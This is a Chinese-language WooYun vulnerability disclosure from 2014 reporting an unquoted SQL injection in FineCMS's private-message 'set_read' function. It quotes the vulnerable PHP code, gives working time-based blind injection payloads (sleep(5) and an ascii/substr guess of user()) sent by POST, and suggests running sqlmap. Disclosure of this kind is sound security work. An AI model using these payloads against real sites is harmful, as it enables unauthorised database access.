当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
FineCMS 最新版sql注入一枚(无防御)
相关厂商:
漏洞作者:
提交时间:
2014-09-23 11:51
修复时间:
2014-12-22 11:52
公开时间:
2014-12-22 11:52
漏洞类型:
SQL注射漏洞
危害等级:
自评Rank:
15
漏洞状态:
厂商已经确认
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2014-09-23: 细节已通知厂商并且等待厂商处理中
2014-09-23: 厂商已经确认,细节仅向厂商公开
2014-09-26: 细节向第三方安全合作伙伴开放
2014-11-17: 细节向核心白帽子及相关领域专家公开
2014-11-27: 细节向普通白帽子公开
2014-12-07: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

简要描述:

FineCMS 最新版sql注入一枚 厂商不会又说6月份已经修复吧,我说了这只是一个开始..............................................................................................

详细说明:

直接看代码:
member/controllers/pm.php:(lines:27-37):

public function index() {

if (IS_POST) {
if ($this->input->post('action') == 'read') {
$this->pm_model->set_read($this->uid, $this->input->post('ids'));
exit(dr_json(1, lang('000')));
} else {
$this->pm_model->deletes($this->uid, $this->input->post('ids'));
exit(dr_json(1, lang('000')));
}
}


发现了没有这里有一行:
$this->pm_model->set_read($this->uid, $this->input->post('ids'));
跟进去看一下:
pm_modle.php(lines:150-190):

public function set_read($uid, $ids) {

if (!$ids) {
return NULL;
}
foreach ($ids as $plid) {
echo "UPDATE ".$this->db->dbprefix('pm_members')." SET isnew=0 WHERE plid=$plid AND uid=$uid AND isnew=1";
$this->db
->query("UPDATE ".$this->db->dbprefix('pm_members')." SET isnew=0 WHERE plid=$plid AND uid=$uid AND isnew=1");
}
}


这里如果ids是数组的之家查询,并没有添加单引号,那么这里面可构造的就多了,并且与gpc一点关系都没有
我们看一下payload:
url:
http://finecmstest.com/member/index.php?c=pm&m=index
postdata:
ids[]=sleep(5)&action=read
执行后 发现延5秒执行 ,我们在更改一下payload
postdata:
ids[]=if(ascii(substr(user(),1,1))=$NUM,sleep(if(1,5,1))&action=read
这里的$NUM就是我们的参数,一直可以猜测表名,这里也可以通过sqlmap去跑 因为没有任何防御
ok.....................

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


>

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-09-23 11:58

厂商回复:

这个文件6月份没有动过啊

最新状态:

暂无